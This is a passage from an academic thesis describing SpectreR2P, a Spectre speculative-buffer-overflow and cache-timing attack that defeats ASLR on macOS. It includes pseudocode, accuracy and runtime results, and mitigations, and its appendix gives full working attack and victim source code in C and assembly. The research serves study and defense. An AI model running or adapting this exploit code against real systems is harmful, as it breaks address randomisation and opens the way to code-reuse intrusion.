Output: the randomized base address of the victim’s code segment

1: declare address ma {ma is the address corresponding to the running minimum
cache probe time}

2: declare integer mt = INT MAX {mt is the running minimum time}
3: for address a = l; a <= h; a += PAGESIZE do
4: clflush [s] {flush s from the L3 cache}
5: prime the victim so that the victim will use the next bytes as the stored

value in a speculative buffer overflow
6: write address a to file f , causing the victim to speculative execute

instructions at a
7: ti = rdtsc() {get CPU timestamp before call}
8: call s {call shared library function s}
9: tf = rdtsc() {get CPU timestamp after call}

10: t = tf − ti {compute time taken for shared library function call}
11: if t ≤ mt then
12: mt = t
13: ma = a
14: end if
15: end for
16: return ma − o

Algorithm 1: SpectreR2P pseudocode.



isspace present in L3 cache current address a is . . .
true positive present correct
true negative not present incorrect
false positive present incorrect
false negative not present correct

Table 3.1: Terminology describing SpectreR2P’s guesses.

and victim. If any of these events occur out of order, then the attacker may report

a false positive or false negative for the current address a.6

3.6.1 Timing Issues

The following subsections describe different ways that the attack can go wrong

when the attack gets out of sync with the victim, causing stages in the attack to

occur out of order.

Premature Probe

The attacker probes whether isspace is in the cache before the victim speculatively

returns to the current address a (step 6 comes before step 4/5 in Table 3.2).

Even if the current address a is correct, i.e., the address of the victim’s prefetch

instruction, the attack concludes that a is incorrect because isspace was not in

the cache at the time it checked.

Overdue Probe

The attack probes whether isspace is in the cache long after the victim speculatively

returns to the current address a (too much time elapses between step 5 and step 6 in

Table 3.2). Depending on the amount of background workload on the host machine,

unrelated processes may pollute the shared L3 cache. For example, another process

6For definitions of false negative and false positive, see Table 3.1.



may bring isspace into the cache or, alternatively, its memory accesses may cause

isspace to be evicted from the cache after the victim brought it into the cache.

Therefore, background activity over which the attacker has no control may interfere

with the cache in a way that makes the attacker report a false positive or false

negative when it probes whether isspace is in the cache. This translates into the

attacker incorrectly guessing the address of the victim’s prefetch instruction.

Premature Write

The attack moves on the next guess, i.e., next address a, too soon (attacker

executes step 1 before victim finishes the previous iteration). Recall that after the

speculative buffer overflow, the victim resumes normal execution. Therefore, after

the speculative deviation from intended execution (steps 3-5 in Fig. 3.1, the victim

will proceed to execute whatever instructions it was originally intended to execute.

After some amount of time, the victim will then be ready to read another chunk of

data (i.e. the next address) from the attacker. If the attacker does not wait for

the victim to do handle the current chunk of data (i.e. the current address), the

attacker will write the next address before the victim is ready to read it, causing

the attacker and victim to become out of sync. This will most likely result in the

attacker concluding that all remaining addresses are incorrect, for reasons outlined

in Section 3.6.1.

3.6.2 Timing Parameters

In order to facilitate synchronization of the attack with the victim, SpectreR2P

accepts timing parameters that specify exactly how long the attacker should wait

before proceeding to the next stage of the attack. Two such parameters are (i)

sleep us and (ii) wait us, which specify the number of microseconds the attacker



Incorrect Ordering Effect on Guess Timing Parameter
Step 6 before step 4/5 False negative int sleep us

Step 6 long after step 4/5 False positive or
false negative

int sleep us

Step 1 before victim repeats False negative int wait us

Table 3.2: SpectreR2P’s possible synchronization issues, their effects, and tweakable
timing parameters to mitigate those issues.

should wait (i) between writing the address guess a and the probing the cache

for isspace and (ii) between probing the cache for isspace and writing the next

address guess. See Table 3.2 and Fig. 3.1 for details.

3.6.3 Relaxing the Attack’s Timing Requirements

In order to make synchronization easier between the attacker and victim, I modified

the original algorithm, Algorithm 1, to include an inner loop that repeatedly probes

the cache for isspace. This allows creates a larger window during which the victim

can prefetch isspace into the cache, thereby synchronization requirements less

strict. This introduces another issue, however: in probing isspace, the attack

brings isspace into the L3 cache, so subsequent probes in the newly introduced

inner loop will all result in cache hits, even if the current address a is not correct.

To solve this, within the newly added for loop, the modified algorithm flushes

isspace from the cache, waits for a short period of time, and then probes the

cache for isspace. We require the brief wait between flushing and probing to

give the victim an opportunity to prefetch isspace into the cache (if the current

address a happens to be the correct address of the victim’s prefetch instruction).

If the victim’s prefetch of isspace coincides with the attacker’s flush of isspace,

isspace may not be in the cache when the attacker probes for it, resulting in a

false negative.

With this modified approach, the attacker must now decide how to choose



between all of the cache probe timing measurements. If the current address a is

correct, we expect one of the probe times to be low (isspace was a cache hit) and

all the other probe times to be high (isspace was a cache miss). On the other

hand, if the current address a is incorrect, we expect all of the probe times to be

high. With testing, however, I determined that taking the minimum time or the

average time both yielded poor results.

To make timing even easier, I adjusted the victim model so that the victim

re-executes the critical speculative buffer overflow region hundreds times per input

address While this situation is less plausible than the original victim model in which

the victim executes the critical speculative buffer overflow region once per input

address, this broader window of exploitable speculative execution makes it easier to

align the attacker’s iterative probing stage with the victim’s iterative speculative

execution stage.

Under this modification of the victim model, the attacker should expect to

observe many cache hits for isspace during its iterative probing stage. With this

in mind, it is most reasonable for the attacker to use the average time of all the

cache probe times to decide whether the current address a is the correct address.

See Algorithm 2 for the updated algorithm containing these modifications of

Algorithm 1, which widen the synchronization window between the attacker and

victim and thus relaxes timing requirements. Algorithm 2 also contains the timing

variables introduced in Section 3.6.2.



Input:

• a writable file f that the victim reads from

• lowest and highest possible randomized base address l and h of victim’s
code segment

• the address s of a shared library function

• offset o of prefetch instruction within victim’s code segment

Output: the randomized base address of the victim’s code segment

1: declare address ma {ma is the address corresponding to the running minimum
cache probe time}

2: declare integer mt = INT MAX {mt is the running minimum time}
3: for address a = l; a <= h; a += PAGESIZE do
4: prime the victim so that the victim will use the next bytes as the stored

value in a speculative buffer overflow
5: write address a to file f , causing the victim to speculative execute

instructions at a
6: set times sum = 0

7: for i = 1 to repeat do
8: ti = rdtsc() {get CPU timestamp before call}
9: call s {call shared library function s}

10: clflush [s] {flush s from the L3 cache}
11: tf = rdtsc() {get CPU timestamp after call}
12: times sum += tf - ti
13: end for
14: times avg = times sum / repeat

15: if times avg ≤ mt then
16: mt = times avg

17: ma = a
18: end if
19: end for
20: return ma − o

Algorithm 2: SpectreR2P pseudocode, modified to widen synchronization
window.



CHAPTER 4

RESULTS

SpectreR2P is successful: it guesses the correct address of the victim’s code

segment with a high probability under a variety of conditions. I present the testing

configuration, the testing parameters, performance metrics, and results.

Listing 4.1 exhibits a successful run of SpectreR2P in the shell. First, I launch

the victim program, called target, in the background. The “-a” switch tells the

victim to print out the address of its prefetch instruction so that we can verify

that the attacker guesses correctly.1 While the victim is running, I launch the

attack, specifying the start and end of the ASLR code segment address range as

command-line parameters. When the attack completes, it prints out its guess of the

victim’s code address, 0x101b7aa7c, which is correct. The attacker now knows the

addresses of all the victim’s functions and can now proceed to exploit the victim

using a return-oriented programming attack.

bash -3.2$ ./ target -a fifo &
0x101b7aa7c

bash -3.2$ ./ attack fifo 0x100000a7c 0x110000a7c
0x101b7aa7c

Listing 4.1: Shell session demonstrating the success of SpectreR2P.

4.1 Testing Configuration

I developed and tested the attack on a MacBook Air (13-inch, Early 2015) running

macOS 10.14 Mojave. See Table 4.1 for the relevant specifications of this computer.

1Otherwise, printing out a code pointer is an egregious information leak that renders ASLR
useless.
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Computer model MacBook Air (13-inch, Early 2015)
Processor Intel R©CoreTMi5-5250U CPU @ 1.60 GHz
Architecture Intel x86-64
L3 cache size 3 MB
Cache line size 64 bytes
Number of cores 2 cores, 4 threads (SMT enabled)
ASLR bits of entropy 16 bits (instructions), 18 bits (stack), 16 (heap)

Table 4.1: Test workstation specifications.

4.2 Performance Metrics

I measured both the accuracy and runtime of SpectreR2P. Attack performance is a

combination of these two metrics, since the attacker’s tolerance for each depends

on the other. An attack with a short runtime requires lower accuracy, since the

attacker can repeat it more in a reasonable time period, increasing the likelihood of

success of at least one iteration. In contrast, an attack with a long runtime requires

higher accuracy to guarantee the same probability of at least one success in the

same time window.

4.2.1 Measuring Accuracy

SpectreR2P is nondeterministic, since its success depends on how well it synchronizes

itself with the victim but timing is unpredictable. As a result, we do not expect it

to guess the correct address of the victim’s code segment every time. To measure

accuracy, I ran n = 100 tests for each configuration. The attack succeeds if the

attacker correctly guesses the address of the victim’s prefetch instruction; the

attack fails if the attacker’s guess is incorrect. The accuracy is the ratio of correct

guesses to total attempts.



b (bits) Accuracy Time (s)
8 96% 0.493
9 85% 1.12
10 85% 2.21
11 75% 4.39
12 85% 8.75
13 56% 19.0
14 92% 34.8
15 80% 69.6
16 83% 137

Table 4.2: Performance results for SpectreR2P with no spinning background threads
(s = 0). The accuracy and runtime measurements are the average of n = 100 test
runs.

4.2.2 Measuring Runtime

SpectreR2P must also have a reasonable runtime to be effective. The attack should

complete before the victim process exits, so a runtime on the order of seconds or

minutes is preferable. I use the “real” measurement provided by the time(1)

utility to measure the attack’s runtime.

4.3 Performance versus Search Space

Table 4.2 demonstrates that SpectreR2P is accurate and has an acceptable runtime

for a range of addresses space sizes. The attack is 83% accurate with bmax = 16

bits of entropy, the maximum entropy of macOS 10.14 ASLR-randomized code

addresses (Table 4.1). Furthermore, SpectreR2P maintains 75% accuracy or higher

for all bits of entropy except for b = 13.

The results in Table 4.2 indicate that the attack’s accuracy does not halve with

each additional bit of entropy, even though the search space doubles in size. In fact,

the results show little correlation between address space size and attack accuracy.

This indicates that SpectreR2P may be equally accurate on operating systems with



larger randomized address spaces (b > 16).

Table 4.2 also shows that SpectreR2P’s runtime doubles with each bit of entropy.

Checking one address takes a fixed amount of time, so doubling the search space

corresponds to a doubled runtime. When b = 16, the attack completes in 2 minutes

and 17 seconds. While this runtime is short enough, only a few more bits of entropy

would make the runtime unacceptably long. In Section 5.1, I discuss how one could

improve the SpectreR2P’s runtime so that it may still be effective when b > 16.

4.4 Performance versus Background Activity

We have observed that SpectreR2P remains successful when the search space size

varies. The results in Table 4.2 do not account for background activity on the host

machine, however, which may also impact the attack’s success. Other processes

running in the background on the host computer also want CPU time during

the attack. As the number of background processes grows, the chances that the

operating system will schedule the attacker and victim processes at the same time

diminishes. SpectreR2P’s timing mechanisms presented in Section 3.6 cannot

account for this, so its performance should suffer as a result.

To quantify background activity, I spawn a variable number of spinning threads

before the attack starts. Each thread spins in an infinite loop, so it is CPU-hungry

and thus competes with the victim and attacker processes. Listing 4.2 shows the

spinning thread source code.

int main(void) {
while (1) {}

}

Listing 4.2: A spinning thread executes an empty infinite while loop.

Figs. 4.1 and 4.2 show plots of accuracy and runtime versus number of back-

ground spinning threads, respectively. SpectreR2P performs well over the full range
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Figure 4.1: Plot of attack runtime versus the number of spinning background
threads s.

of bits of entropy b when background activity is low; however, the accuracy quickly

diminishes as the background workload increases.

4.4.1 Runtime and Background Activity

Fig. 4.1 shows that the runtime of the attack generally increases with the number

of spinning threads s, but the runtime remains roughly constant for 0 ≤ s ≤ 2.

This is because the testing machine’s CPU has a total of 4 hardware threads (see

Table 4.1), so the operating system can schedule 4 software threads at once. The

attacker and the victim, each requiring one thread, can concurrently run with s ≤ 2

other threads. The attack runtime is also roughly constant for s ≥ 4. This is likely

due to the behavior of the operating system’s scheduler.
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Figure 4.2: Plot of attack accuracy versus the number of spinning background
threads s.

4.4.2 Accuracy and Background Activity

Fig. 4.2 demonstrates that SpectreR2P is accurate with less background activity

(s = 0, 2), but its accuracy generally decreases with the number of background

spinning threads. The attack accuracy peaks at s = 2, but its accuracy is abysmal

when s = 1 and b > 8. The accuracy peaks at s = 2 because I optimized the timing

parameters described in Section 3.6.2 for the case of moderate background activity.2

The attack’s performance drop when s = 1 corresponds to the scenario when the

attacker, victim, and background thread run on three of the four hardware threads

available. One possible explanation for the performance drop is an imbalance in

workload between processor cores: some of the time, the attacker and victim run

on the same core and the rest of the time, they run on separate cores. This makes

it difficult to balance the workload between two cores with three processes; one

core will run two threads, while the other will only run one. The scheduler may

2This is because when I was tweaking the timing parameters for the attack, I was playing
music, had webpages open, etc.



frequently swap threads between cores to maintain balance, causing synchronization

issues between the attacker and the victim. Determining the cause of this behavior

requires further testing, however.

4.5 Performance Compared to Previous Attacks

SpectreR2P performs comparably to a previous brute-force ASLR-bypass attack

by Shacham et al. [12]. In this section, I compare the two attacks and their

performance.

Both SpectreR2P and Shacham et al.’s attack target machines with ASLR

implementations that use 16 bits of entropy. Shacham et al.’s attack employs a

different brute force approach: rather than iterating through all possible addresses,

it guesses randomly until it finds the correct address. The goal of their attack is

to find the address of the sleep() function. If their attack guesses the correct

address, the victim sleeps for a indicative number of seconds. Otherwise, the victim

returns to an invalid address and crashes.

Shacham et al.’s and my attack models differ: Shacham et al.’s attack is network-

based, i.e., the attacker is on a different computer but connected to the victim over

a network, while SpectreR2P is host based, i.e., the attack and victim are running

on the same physical machine.

Despite the aforementioned differences between SpectreR2P and Shacham et

al.’s attack, it is meaningful to compare their runtimes.

While it takes the attacker an order of magnitude longer to send data to the

victim in Shacham et al.’s network-based attack than in my host-based attack,

Shacham et al.’s attack exploits massive parallelism by attacking 150 victim threads

at once, covering the latency of network communication.

Finally, despite Shacham et al.’s attack targeting a 32-bit machine and Spec-
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Figure 4.3: Plot of attack time until success versus the number of spinning back-
ground threads s.

treR2P targeting a 64-bit machine, the number of bits of entropy used in ASLR

are the same (both are 16 bits).

4.5.1 Comparing Time Until Success

Accuracy and runtime of SpectreR2P are complementary in that an attacker can

account for lower accuracy by running the attack multiple times. To unify these

performance metrics, I present the average time until success, which measures the

average time it will take for one instance of the attack to succeed when run multiple

times. We can compute the average time until success from statistics presented in

Figs. 4.1 and 4.2. First, we calculate the average number of times we must repeat

the attack until it succeeds. Let rb,w be the probability of success and tb,w be the

average runtime for each instance of SpectreR2P, where the victim’s address space

has b bits of entropy and there are w background threads. The average number of



Attack type Victim
word size

Crashes
victim

Bits of
entropy

Avg.
time (s)

Shacham
et al. [12]

network-based 32-bit yes 16 216

SpectreR2P host-based 64-bit no 16 161

Table 4.3: A comparison of a previous attack and SpectreR2P. The “Avg. time”
column indicates the average time until attack success.

repetitions until success Nb,w is then

Nb,w =
∞∑
n=1

(1− rb,w)n−1 rb,wn.

To obtain the average time until success Tb,w, we multiply the number of attack

repetitions by the average time per attack, i.e.,

Tb,w = tb,w ·Nb,w = tb,w

∞∑
n=1

(1− rb,w)n−1 rb,wn.

I present the time until success for b = 16 bits of entropy and w = 2 background

processes for SpectreR2P in Table 4.3. Shacham et al. present the average time

until success for their attack [12], which Table 4.3 includes. Fig. 4.3 plots the time

until success versus background activity.

4.5.2 Improvements over Previous Attacks

Unlike Shacham et al.’s attack [12], SpectreR2P does not cause the victim process

to crash upon guessing an incorrect address. This is because SpectreR2P uses the

side effects of speculative execution to determine whether its guess was correct.

Speculative execution cannot cause a process to crash; any errors that occur during

speculative execution cause the processor to discard the speculative state but do not

affect the victim’s state whatsoever. This is the key difference between SpectreR2P

and non-speculative attacks such as that of Shacham et al.’s [12].



CHAPTER 5

CONCLUSION

I have demonstrated a method of reliably bypassing ASLR, a common security

protection, using the speculative buffer overflow Spectre variant.

5.1 Possible Countermeasures

I propose possible software and hardware countermeasures against SpectreR2P,

but each has significant limitations. Hardware mitigations are generally the most

effective, but they are difficult to deploy and incur prohibitive performance penalties.

Increasing ASLR Entropy

In order to protect against SpectreR2P, operating systems might increase the bits

of entropy in ASLR for instructions.

As we observed in Chapter 4, the attack’s runtime will double with each bit of

entropy, but the peak accuracy of the attack is effectively constant as the number

of bits of entropy b increases. Therefore, the attack’s time until success will only

double with each additional bit of entropy. Depending on the lifetime of the victim

process, the attacker may be able to run the attack for days. If the number of bits

of entropy are doubled to bnew = 2b = 32, we can expect the time until success of

the attack to be on the order of

Tnew ≈ T · 2bnew−b = 120 sec · 216 ≈ 90 days,

which is an order of magnitude too large to be reasonable.

Improving SpectreR2P’s Runtime

There are opportunities for improving the runtime of SpectreR2P. In practice, a

situation in which the attacker writes through a pipe or FIFO to the victim is
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unlikely; it is far more likely that the victim reads from an attacker-provided file

on disk. In this case, I expect the attack to be an order of magnitude faster, since

the victim can read the attacker’s “guesses” in a continuous stream, rather than

waiting for the attacker to write a new guess during each iteration of the attack.

While this file-based approach requires performance testing, I expect using

bnew = 32 bits of entropy may not be enough.x

Disable Speculative Prefetching

SpectreR2P relies upon cache side-effects of the prefetch instruction when exe-

cuted speculatively. One possible mitigation might be to not execute prefetch

speculatively. 1 There is nothing special about prefetch, however: SpectreR2P

could just as well speculatively return to a memory load instruction, which implicitly

fetches the memory into the cache, achieving the same effect as prefetch.

A more drastic option would be to avoid modifying the cache during speculative

execution. While this would successfully protect against SpectreR2P and all other

Spectre-based attacks, it would incur a prohibitively great performance penalty.

Furthermore, it would require modifications to the processor’s microarchitecture;

existing processors could not be patched.

Store-to-Load Blocking

Kiriansky et al. proposed the “SLoth bear” mitigation, i.e., store-to-load block-

ing, to protect against speculative buffer overflows [5]. The mitigation prevents

speculatively stored data from being speculatively loaded. While it would render

SpectreR2P ineffective, the viability of this mitigation is unknown, and it would

incur performance penalties.

1This would be permissible under Intel’s x86-64 ISA, since it is “merely a hint and does not
affect program behavior”; that is, its execution has no effect on program state.



5.1.1 Previous work

Previous attacks have shown that ASLR is ineffective against brute-force attacks.

In 2004, Shacham et al. demonstrated a successful non-speculative brute-force

attack against an Apache webserver running on a 32-bit Intel x86 processor with

ASLR enabled and b = 16 bits of entropy in the instruction address space [12].

Despite the shift towards 64-bit x86-64 processors, some operating systems still

use only b = 16 bits of entropy in the instruction address space, including my

testing workstation (Table 4.1). See Section 4.5 for an in-depth comparison between

SpectreR2P and Shacham et al.’s attack.

Before the disclosure of the Spectre vulnerability, Evtyushkin et al. demonstrated

that an attacker can use branch prediction to bypass ASLR [1]. Security researchers

have previously investigated the effectiveness of ASLR with respect to speculative

execution. Kiriansky et al., who originally presented speculative buffer overflows

[5], made the assessment that “[ASLR] is the only generic mitigation currently

available against speculative buffer overflows, and it mitigates both code and data

attacks.” However, the success of SpectreR2P demonstrates that ASLR is in

practice ineffective against speculative buffer overflow attacks.

Previous work has also used cache prefetching to defeat ASLR: Gruss et al. [2]

demonstrated that an attacker can use prefetch instructions in a non-speculative

context to bypass kernel ASLR.

5.1.2 Generalizability

The Spectre vulnerability affects all major modern processors, including ARM

processors, which are found in most mobile devices. However, there are practical

limitations that make Spectre attacks difficult to orchestrate in practice. ARM

processors lack an unprivileged high-resolution timestamp instruction like the



x86 family’s rdtsc instruction. Instead, an attacker must use a low-resolution,

high-latency software timer (such as clock gettime(3) on POSIX systems) when

probing the cache. See Zhang et al.’s [16] discussion for an in-depth discussion of

the difficulties of cache side-channel attacks on ARM.

Zhang et al. present a cache side-channel technique on ARM that uses return-

oriented programming techniques to increase the cache footprint of the victim.

If SpectreR2P adopts this approach, it may also work on ARM processors. Fur-

ther research is required to determine the viability of an ARM-based version of

SpectreR2P.

5.1.3 Future Work

A weakness of SpectreR2P is its restrictive requirements (Section 3.3). Of the most

demanding of these requirements are the following:

1. ASLR must be disabled for system libraries.

2. The attacker must control a register in the victim during its speculative buffer

overflow.

The following is a modification of SpectreR2P, which I call SpectreR2P v2, that

eliminates the above requirements:

First, the attacker maps the victim executable into memory. Operating systems

with page deduplication will map the victim executable in the attacker and victim

to the same physical memory pages. Even if two processes map the same file to

different virtual addresses, the virtual addresses point to the same physical pages.

Consequently, the executable shares the same cache lines in the attacker and victim,

so the attacker can also use the victim executable as a cache side channel, like the

shared library in SpectreR2P. The victim executable must contain a memory fetch



instruction relative to the current instruction pointer, e.g., mov rax, [rip + 256].

Let A,A′ be the victim’s and attacker’s address of this rip-relative memory fetch

instruction and B,B′ be the victim’s and attackers’ target address of that memory

fetch, respectively. The rest of SpectreR2P v2 proceeds similarly to SpectreR2P,

but during each iteration SpectreR2P v2 prefetches A′ into the cache, flushes B′

from the cache, writes the current address guess Aguess to the victim, and probes

the cache for B′.

If I can implement a successful version of SpectreR2P v2, it will demonstrate

that speculative buffer overflows can defeat ASLR under more general conditions.



APPENDIX A

FULL ATTACK AND VICTIM CODE

A.1 Attack Code

#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <ctype.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdint.h>
#include <errno.h>
#include <string.h>
#include <limits.h>

#include "util.h"

extern void entry(void *addr);
extern int32_t probe(void *addr);

#define PAGE_SIZE 4096
#define USLEEP 1000
#define WAIT 1e3

static enum
{TIME_DISABLED ,
TIME_START_END ,
TIME_WRITE}

print_time_mode = TIME_DISABLED;
static bool should_print_time = false;
static enum time_mode

{TIME_REAL ,
TIME_CYCLES}

time_mode = TIME_REAL;
static enum print_mode

{PRINT_ALL ,
PRINT_MIN}

print_mode = PRINT_MIN;
static int usleep_us = USLEEP;
static int wait_us = WAIT;

static int tmp;

int32_t check(void *addr , void *guess ,
int out_fd , int repeat) {

dprintf(out_fd , "%p\n", guess);

if (print_time_mode == TIME_WRITE) {
print_time(NULL , stdout );

}

usleep(usleep_us );

if (print_time_mode == TIME_START_END) {
print_time("start", stdout );

}
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int avg = 0;
for (int i = 0; i < repeat; ++i) {

entry(addr);
for (int i = 0; i < 1000; ++i) {

tmp ^= i;
}
int32_t t = probe(addr);
avg += t;

}

if (print_time_mode == TIME_START_END) {
print_time("end", stdout );

}

return avg / repeat;
}

int main(int argc , char *argv []) {
const char *usage =

"usage: %s [option ...] <out_fifo > " \
"<start_addr > <stop_addr >\n" \

"Options :\n" \
" -n <count > how many times to probe target " \
"per address guess\n" \
" -s <symbol > target symbol to prefetch " \

"into memory (default: isspace )\n" \
" -t print time at each call " \

"to speculative function\n" \
" -p[amcrw]+ printing options :\n" \
" a - print all measurements\n" \
" m - print minimum measurement " \

"(default )\n" \
" c - print cycle count instead " \

"of realtime clock\n" \
" r - print real time in seconds\n" \
" w - print only when bytes are " \

"written to target\n" \
" -u <usec > amount of time to sleep " \

"in microseconds (default: 1000)\n"\
" -w <usec > amount of time to wait " \

"between probing different " \
"addresses (default: 1000)\n" \

" -h print help\n" \
" -t print times\n"
;

const int positional_args = 3;
int count = 100; /* # of times to probe per address */
const char *target_sym = "isspace";
const char *optstring = "n:s:hp:tu:w:";
int optchar;
while (( optchar = getopt(argc , argv , optstring )) >= 0) {

switch (optchar) {
case ’n’: /* probe count */

if ((count = parse_uint(optarg , argv [0])) < 0) {
return 1;

}
break;

case ’s’: /* symbol */
target_sym = optarg;
break;



case ’t’: /* print time */
should_print_time = true;
break;

case ’p’: /* print mode */
{

char c;
while ((c = *optarg ++)) {

switch (optarg [0]) {
case ’a’:

print_mode = PRINT_ALL;
break;

case ’m’:
print_mode = PRINT_MIN;
break;

case ’c’:
time_mode = TIME_CYCLES;
break;

case ’r’:
time_mode = TIME_REAL;
break;

case ’w’:

default:
break;

}
}

}
break;

case ’u’:
if (( usleep_us = parse_uint(optarg , argv [0])) < 0)

{ return 1; }
break;

case ’w’:
if (( wait_us = parse_uint(optarg , argv [0])) < 0)

{ return 1; }
break;

case ’h’: /* help */
printf(usage , argv [0]);
return 0;

case ’?’:
fprintf(stderr , usage , argv [0]);
return 1;

}
}

if (argc - optind != positional_args) {
fprintf(stderr , usage , argv [0]);
return 1;

}

const char *out_path = argv[optind ++];
int out_fd;
if (( out_fd = open(out_path , O_WRONLY )) < 0) {

fprintf(stderr , "open: ’%s’: %s\n",
out_path , strerror(errno ));

return 1;
}

void *target_addr;
if (( target_addr = dlsym(RTLD_DEFAULT , target_sym ))

== NULL) {
fprintf(stderr , "dlsym: %s: %s\n",



target_sym , strerror(errno ));
return 1;

}

/* make sure it’s dynamically linked */
((void (*)( void)) target_addr )();

char *start_addr , *end_addr;
if (( start_addr = parse_ptr(argv[optind ++], argv [0]))

== NULL)
{ return 1; }

if (( end_addr = parse_ptr(argv[optind ++], argv [0]))
== NULL)

{ return 1; }

int min_time = INT_MAX;
void *min_addr = NULL;
for (char *addr = start_addr;

addr <= end_addr;
addr += PAGE_SIZE) {

int32_t t = check(target_addr , addr , out_fd , count);
if (t <= min_time && addr != start_addr) {

min_addr = addr;
min_time = t;

}
if (print_mode == PRINT_ALL) {

printf("%p %d\n", addr , t);
}
usleep(wait_us );

}

if (print_mode == PRINT_MIN) {
printf("%p\n", min_addr );

}

return 0;
}

Listing A.1: attack.c, the attack’s C source code.

segment .text

global entry
global probe

;; IN: rdi -- isspace , rsi -- <wildcard >
;; OUT: eax -- time

entry:
mfence
lfence
clflush [rdi]
mfence
lfence
ret

;; IN: rdi -- ptr
;; OUT: eax -- time difference
;; DESTROYS: ecx ,edx ,esi

probe:
mfence
lfence
rdtsc



push rax
call rdi
lfence
rdtsc
pop rsi
sub eax ,esi
ret

Listing A.2: attack.asm, the attack’s complementary asm source code.

#include <dlfcn.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdbool.h>
#include <time.h>

#include "util.h"

extern void speculative(void *spec_addr , void *sym_addr );

#define BUFSIZE 64

int main(int argc , char *argv []) {
const char *usage =

"usage: %s [-n <count >] [-s <sym >= isspace] [-a] "\
"<in_fifo >\n" \
"Options :\n" \
" -n <count > how many times to call " \
"the speculative function\n" \
" -s <sym > symbol to prefetch " \
"(default is isspace (3))\n" \
" -t print time at each call " \

"to speculative function\n" \
" -a print this program ’s code " \

"address before proceeding\n" \
" -h print help\n"
;

const int positional_argc = 1;
const char *sym = "isspace";
long count = 100;
bool print_addr = false;
bool should_print_time = false;

const char *optstring = "s:n:hat";
int optchar;
while (( optchar = getopt(argc , argv , optstring )) >= 0) {

switch (optchar) {
case ’a’: /* address */

print_addr = true;
break;

case ’n’: /* count */
if ((count = parse_uint(optarg , argv [0])) < 0) {

return 1;
}
break;

case ’s’: /* symbol */
sym = optarg;



break;
case ’t’:

should_print_time = true;
break;

case ’h’:
printf(usage , argv [0]);
return 0;

case ’?’:
fprintf(stderr , usage , argv [0]);
return 1;

}
}

if (argc - optind != positional_argc) {
fprintf(stderr , usage , argv [0]);
return 1;

}

if (print_addr) {
printf("%p\n", dlsym(RTLD_DEFAULT , "speculative2"));
fflush(stdout );

}

const char *in_path = argv[optind ++];
FILE *in_file;
if (( in_file = fopen(in_path , "r")) == NULL) {

fprintf(stderr , "fopen: ’%s’: %s\n",
in_path , strerror(errno ));

return 1;
}

void *sym_addr;
if (( sym_addr = dlsym(RTLD_DEFAULT , sym)) == NULL) {

fprintf(stderr , "dlsym: %s: %s\n",
sym , strerror(errno ));

return 1;
}

print_time(NULL , NULL); /* prime the cache */

char buf[BUFSIZE ];
while (fgets(buf , BUFSIZE , in_file )) {

/* TEMP */
// print_time ("recv", stdout );

void *spec_addr;
char *end;
spec_addr = (void *) strtoll(buf , &end , 0);
if (*end != ’\0’ && *end != ’\n’) {

fprintf(stderr , "strtoll: bad integer format\n");
return 1;

}

if (should_print_time) {
print_time("start", stdout ); /* start time */

}

for (int i = 0; i < count; ++i) {
speculative(spec_addr , sym_addr );

}



if (should_print_time) {
print_time("end", stdout ); /* end time */

}
}

return 0;
}

Listing A.3: target.c, the victim’s C code.

segment .text

global speculative
global speculative2

;; IN rdi -- array
;; DESTROYS rax , rbx , rcx , rdx

gadget:
pop rax
nop
clflush [rsp]
cpuid
ret

;; IN rdi -- target , rsi -- shared target function
;; DESTROYS rax , rbx , rcx , rdx

speculative:
mfence
lfence
call gadget
mov rax ,rsi
mov [rsp],rdi
ret

; resb 4096

speculative2:
prefetchwt1 [rax]
ret

Listing A.4: target.asm, the victim’s complementary asm source code.

#!/bin/bash

USAGE="usage: $0 [-n count] command [args ...]"
COUNT =100

while getopts "n:h" OPTION; do
case $OPTION in

n)
COUNT="$OPTARG"
;;

h)
echo "$USAGE"
exit 0
;;

?)
echo "$USAGE"
exit 1
;;

esac
done



shift $((OPTIND -1))

if [[ $# -lt 1 ]]; then
echo "$USAGE"
exit 1

fi

CMD="$@"
I=0
PAGEBITS =12 # bits in page size
DECIMAL=$(while [[ $I -lt "$COUNT" ]]; do

echo $(($($@))) # convert to decimal for awk
(( ++I ))

done | gawk ’
BEGIN {

or_mask = 0;
and_mask = compl (0);

}

{
or_mask = or(or_mask , $1);
and_mask = and(and_mask , $1);

}

END {
print and_mask , or_mask - and_mask;

}
’)

printf "0x%x 0x%02x\n" $DECIMAL

Listing A.5: aslr.sh, script to determine ASLR randomization mask of programs.
The command passed an argument must print out its code address in pointer ("%p")
format.
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